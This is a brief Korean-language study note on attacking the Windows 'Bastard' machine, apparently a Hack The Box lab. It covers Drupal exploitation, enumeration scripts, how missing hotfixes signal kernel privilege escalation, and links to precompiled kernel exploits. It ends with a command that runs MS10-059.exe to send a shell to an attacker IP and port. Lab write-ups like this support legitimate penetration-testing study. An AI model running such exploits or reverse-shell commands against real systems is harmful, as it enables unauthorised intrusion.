[Windows] Batard

Bastard

- Drupal 취약점 코드 어떻게 실행할 것인지

- 파워 쉘 스크립트 실행 제약

=> powerless.bat, jaws-enum.ps1

Systeminfo

서비스팩 버전이 낮거나 없거나 핫픽스가 없을 경우 GOOD

Hotfix: N/A              <= 커널 권한상승 가능성 높음

반대로 Hotfix 업데이트가 많은 경우 <= 커널 가능성 낮음, misconfig 설정을 찾을 것

Precompiled Binary

https://github.com/SecWiki/windows-kernel-exploits

https://github.com/SecWiki/linux-kernel-exploits

c:\inetpub\drupal-7.54>MS10-059.exe 10.10.14.37 7777